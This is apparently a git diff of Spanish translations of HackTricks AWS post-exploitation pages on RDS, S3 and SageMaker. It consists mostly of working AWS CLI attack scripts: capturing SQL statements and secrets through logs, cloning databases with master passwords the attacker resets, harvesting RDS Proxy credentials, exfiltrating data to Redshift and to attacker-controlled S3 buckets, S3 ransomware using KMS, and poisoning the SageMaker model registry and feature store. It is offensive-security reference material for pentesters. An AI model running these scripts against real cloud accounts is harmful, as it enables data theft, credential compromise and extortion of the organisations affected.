 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Habilitar registro SQL detallado
-- MySQL engines (inmediato / sin reinicio):
+3) Habilitar el registro SQL detallado
+- Motores MySQL (inmediato / sin reinicio):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- PostgreSQL engines (requiere reinicio):
+- Motores PostgreSQL (requiere reinicio):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los archivos de logs del motor
+4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los archivos de logs del engine
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Descubre y descarga los logs (no se requieren credenciales DB)
+5) Descubre y descarga los logs (no se requieren credenciales de la base de datos)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -246,7 +246,7 @@ Ejemplo de evidencia (redactada):
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Limpieza
-- Revertir los parámetros a los valores predeterminados y reiniciar si es necesario:
+- Restablecer los parámetros a los valores predeterminados y reiniciar si es necesario:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Impacto: Acceso a datos post-explotación al capturar todas las sentencias SQL de la aplicación vía las APIs de AWS (sin credenciales de DB), potencialmente filtrando secretos, JWTs y PII.
+Impacto: Post-exploitation data access al capturar todas las sentencias SQL de la aplicación vía AWS APIs (no DB creds), potencialmente leaking secrets, JWTs y PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Abusar de las réplicas de lectura de RDS para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una réplica de lectura a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la primaria), y opcionalmente exponer la réplica públicamente para exfiltrar datos.
+Abusar de las réplicas de lectura de RDS para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la primaria) y, opcionalmente, exponer la réplica públicamente para exfiltrar datos.
 
-Permisos necesarios (mínimo):
+Permisos necesarios (mínimos):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si se expone públicamente)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-Impacto: Acceso de solo lectura a datos de producción a través de una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la primaria permanece intacta y la replicación continúa.
+Impacto: Acceso de solo lectura a datos de producción vía una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la primaria permanece intacta y la replicación continúa.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -306,11 +306,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 ```
 Ejemplo de evidencia (MySQL):
 - Estado de la DB réplica: `available`, replicación de lectura: `replicating`
-- Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de réplica de solo lectura.
+- Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de sólo lectura a la réplica.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-Abusa de RDS Blue/Green para clonar una DB de producción en un entorno green replicado continuamente y de solo lectura. Luego restablece las master credentials del entorno green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que snapshot sharing y con frecuencia elude la monitorización centrada únicamente en la fuente.
+Abusa de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de sólo lectura. Luego restablece las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que compartir snapshots y a menudo elude la monitorización centrada únicamente en la fuente.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Impacto: Acceso de solo lectura pero con acceso completo a los datos de un clon casi en tiempo real de producción sin modificar la instancia de producción. Útil para extracción de datos sigilosa y análisis offline.
+Impacto: Acceso completo en modo solo lectura a una copia casi en tiempo real del entorno de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis sin conexión.
 
 
-### SQL fuera de banda vía RDS Data API habilitando el HTTP endpoint + restableciendo la contraseña maestra
+### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-Abusar de Aurora para habilitar el RDS Data API HTTP endpoint en un cluster objetivo, restablecer la contraseña maestra a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan Data API/EnableHttpEndpoint (p. ej., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL).
+Abusa de Aurora para habilitar el HTTP endpoint de RDS Data API en un clúster objetivo, restablecer la master password a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan el Data API/EnableHttpEndpoint (por ejemplo, Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL).
 
 Permisos (mínimos):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
 - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-Impacto: Evadir la segmentación de red y exfiltrar datos vía AWS APIs sin conectividad VPC directa a la DB.
+Impacto: Eludir la segmentación de red y exfiltrar datos vía AWS APIs sin conectividad VPC directa al DB.
 
 <details>
-<summary>CLI de extremo a extremo (ejemplo Aurora MySQL)</summary>
+<summary>End-to-end CLI (Aurora MySQL example)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Notas:
-- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
-- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
-- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
+- Si rds-data rechaza SQL con múltiples sentencias, emita llamadas execute-statement separadas.
+- Para motores donde modify-db-cluster --enable-http-endpoint no tenga efecto, use rds enable-http-endpoint --resource-arn.
+- Asegúrese de que el motor/versión realmente soporte la Data API; de lo contrario HttpEndpointEnabled permanecerá False.
 
 
-### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Obtener credenciales de DB mediante secretos de autenticación de RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Abusa de la configuración de RDS Proxy para descubrir el secret de Secrets Manager usado para la autenticación backend, luego lee el secret para obtener las credenciales de la base de datos. Muchos entornos conceden `secretsmanager:GetSecretValue` de forma amplia, lo que hace de esto un pivote de baja fricción hacia credenciales de DB. Si el secret usa una CMK, permisos mal acotados de KMS también pueden permitir `kms:Decrypt`.
+Abuse la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, y luego lea el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden amplios permisos `secretsmanager:GetSecretValue`, lo que convierte esto en un pivot de baja fricción hacia credenciales de DB. Si el secreto usa una CMK, permisos KMS mal acotados también pueden permitir `kms:Decrypt`.
 
 Permisos necesarios (mínimos):
 - `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` on the referenced SecretArn
-- Optional when the secret uses a CMK: `kms:Decrypt` on that key
+- `secretsmanager:GetSecretValue` en el SecretArn referenciado
+- Opcional cuando el secreto use una CMK: `kms:Decrypt` en esa clave
 
-Impacto: Divulgación inmediata del nombre de usuario/contraseña de la DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional.
+Impacto: Divulgación inmediata del usuario/contraseña de DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional.
 
 Pasos
 ```bash
@@ -480,9 +480,9 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Exfiltración continua sigilosa mediante Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)
+### Sigilosa y continua exfiltration vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)
 
-Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controles. Con una resource policy de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin DB creds, snapshots ni exposición de red.
+Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controles. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para el ARN de un cluster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin DB creds, snapshots ni exposición de red.
 
 Permisos necesarios (mínimo):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -493,7 +493,7 @@ Permisos necesarios (mínimo):
 Probado en: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
 <details>
-<summary>1) Crear namespace y workgroup de Redshift Serverless</summary>
+<summary>1) Crear namespace de Redshift Serverless + workgroup</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -509,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>
 
 <details>
-<summary>2) Configurar la política de recursos de Redshift para permitir la fuente Aurora</summary>
+<summary>2) Configurar la política de recursos de Redshift para permitir el origen Aurora</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Crear cluster Aurora PostgreSQL (habilitar Data API y replicación lógica)</summary>
+<summary>3) Crear clúster Aurora PostgreSQL (habilitar Data API y replicación lógica)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -598,10 +598,9 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 
 Evidencia observada en la prueba:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
-- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
+- SVV_INTEGRATION mostró integration_id 377a462b-c42c-4f08-937b-77fe75d98211 y state PendingDbConnectState antes de la creación de la DB.
+- Después de CREATE DATABASE FROM INTEGRATION, listar tablas reveló el esquema ztl y la tabla customers; seleccionar de ztl.customers devolvió 2 filas (Alice, Bob).
 
-Impacto: Exfiltración continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlado por el atacante, sin usar credenciales de base de datos, copias de seguridad ni acceso de red al clúster de origen.
+Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlado por el atacante, sin usar credenciales de base de datos, copias de seguridad ni acceso de red al clúster de origen.
 
-
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -1,38 +0,0 @@
-# AWS - S3 Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Información Sensible
-
-A veces podrás encontrar información sensible legible en los buckets. Por ejemplo, secretos del estado de terraform.
-
-### Pivotar
-
-Diferentes plataformas podrían estar utilizando S3 para almacenar activos sensibles.\
-Por ejemplo, **airflow** podría estar almacenando **código** de **DAGs** allí, o **páginas web** podrían ser servidas directamente desde S3. Un atacante con permisos de escritura podría **modificar el código** del bucket para **pivotar** a otras plataformas, o **tomar el control de cuentas** modificando archivos JS.
-
-### Ransomware en S3
-
-En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo que cualquier usuario, rol o cuenta de AWS encripte objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados.
-
-El atacante identifica un **bucket S3 objetivo y obtiene acceso a nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más.
-
-Para determinar si el bucket puede ser objetivo de ransomware, el atacante verifica su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **la eliminación de autenticación multifactor (MFA delete) está habilitada**. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **deshabilitar Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico.
-
-Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia encriptada usando su clave KMS**. Esto encripta efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave.
-
-Para añadir más presión, el atacante programa la eliminación de la clave KMS utilizada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la clave sea eliminada y los datos se pierdan permanentemente.
-
-Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin encriptación, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware.
-
-**Para más información** [**consulta la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Información sensible
+
+A veces podrás encontrar información sensible legible en los buckets. Por ejemplo, secretos del state de terraform.
+
+### Pivoting
+
+Diferentes plataformas podrían usar S3 para almacenar activos sensibles.\
+Por ejemplo, **airflow** podría estar almacenando **DAGs** **code** allí, o **web pages** podrían ser servidas directamente desde S3. Un atacante con permisos de escritura podría **modify the code** desde el bucket para **pivot** hacia otras plataformas, o **takeover accounts** modificando archivos JS.
+
+### S3 Ransomware
+
+En este escenario, el **atacante crea una KMS (Key Management Service) key en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hacen que esta **key accesible para cualquier persona en el mundo**, permitiendo a cualquier usuario, role o cuenta de AWS cifrar objetos usando esta key. Sin embargo, los objetos no pueden ser descifrados.
+
+El atacante identifica un objetivo que es un **S3 bucket and gains write-level access** a él usando varios métodos. Esto puede deberse a una configuración pobre del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. Normalmente el atacante apunta a buckets que contienen información sensible como personally identifiable information (PII), protected health information (PHI), logs, backups, y más.
+
+Para determinar si el bucket puede ser objetivo de ransomware, el atacante revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete) está habilitado**. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico.
+
+Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia cifrada usando su KMS key**. Esto efectivamente cifra los datos en el bucket, haciéndolos inaccesibles sin la key.
+
+Para aumentar la presión, el atacante programa la eliminación de la KMS key usada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la key sea eliminada y los datos se pierdan de forma permanente.
+
+Finalmente, el atacante podría subir un archivo final, normalmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrar, probablemente para llamar la atención del objetivo y hacerle saber del ataque de ransomware.
+
+**Para más info** [**revisa la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

@@ -0,0 +1,179 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Exfiltración de datos de endpoints de SageMaker via UpdateEndpoint DataCaptureConfig
+
+Abusar de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el modelo ni el contenedor. Usa una actualización rolling con cero/bajo tiempo de inactividad y solo requiere permisos de gestión del endpoint.
+
+### Requisitos
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (o usar un bucket existente en la misma cuenta)
+- Opcional (si se usa SSE‑KMS): `kms:Encrypt` on the chosen CMK
+- Objetivo: un endpoint InService de tiempo real existente en la misma cuenta/región
+
+### Pasos
+1) Identificar un endpoint InService y recopilar las variantes de producción actuales
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Preparar destino S3 del atacante para capturas
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Crea una nueva EndpointConfig que mantenga las mismas variants pero habilite DataCapture al attacker bucket
+
+Nota: Usa content types explícitos que cumplan la validación del CLI.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Aplicar la nueva config con un rolling update (minimal/no downtime)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Generar al menos una llamada de inferencia (opcional si existe tráfico en vivo)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Validar capturas en el S3 del atacante
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Impacto
+- Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un bucket S3 controlado por el atacante.
+- Sin cambios en el model/container image y solo cambios a nivel de endpoint, permitiendo una vía sigilosa de robo de datos con mínima interrupción operativa.
+
+
+## Secuestro de la salida de async inference de SageMaker vía UpdateEndpoint AsyncInferenceConfig
+
+Abusar de la gestión de endpoints para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y estableciendo AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container.
+
+### Requisitos
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Capacidad para escribir en el bucket S3 controlado por el atacante (vía el model execution role o una política de bucket permisiva)
+- Target: Un endpoint InService donde se estén usando (o se usarán) invocaciones asíncronas
+
+### Pasos
+1) Recolectar los ProductionVariants actuales del endpoint objetivo
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Crea un attacker bucket (asegúrate de que el model execution role pueda PutObject en él)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Clonar EndpointConfig y secuestrar las salidas de AsyncInference hacia el bucket del atacante
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Disparar una invocación asíncrona y verificar que los objetos lleguen al S3 del atacante
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Impacto
+- Redirige los resultados de inferencia asincrónica (y los cuerpos de error) a un S3 controlado por el atacante, posibilitando la exfiltración encubierta de predicciones y de entradas pre/post-procesadas potencialmente sensibles producidas por el contenedor, sin cambiar el código del modelo ni la imagen y con tiempo de inactividad mínimo o nulo.
+
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+Si un atacante puede CreateModelPackage en un SageMaker Model Package Group objetivo, puede registrar una nueva versión del modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchas pipelines CI/CD despliegan automáticamente las versiones de modelo Approved a endpoints o training jobs, resultando en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse por una política de recurso ModelPackageGroup permisiva.
+
+### Requisitos
+- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` en el ModelPackageGroup objetivo
+- Opcional (para crear un grupo si no existe): `sagemaker:CreateModelPackageGroup`
+- S3: Acceso de lectura al ModelDataUrl referenciado (o alojar artefactos controlados por el atacante)
+- Objetivo: Un Model Package Group que la automatización aguas abajo supervisa en busca de versiones Approved
+
+### Pasos
+1) Establecer la región y crear/encontrar un Model Package Group objetivo
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Preparar datos de modelo ficticios en S3
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que hace referencia a una imagen pública de AWS DLC
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Verificar que exista la nueva versión Approved
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Impacto
+- Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Los pipelines que despliegan automáticamente modelos Approved pueden descargar y ejecutar la imagen del atacante, provocando ejecución de código con los roles de endpoint/training.
+- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse entre cuentas.
+
+## Envenenamiento del Feature store
+
+Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por inferencia en línea. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de feature en vivo consumidos por online inference. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a models o endpoints.
+
+## Requisitos
+- Permisos: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Objetivo: Feature Group con OnlineStore habilitado (típicamente respaldando real-time inference)
+
+## Pasos
+1) Elige o crea un pequeño Online Feature Group para pruebas
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Insertar/sobrescribir un registro en línea (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Leer el registro para confirmar la manipulación
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
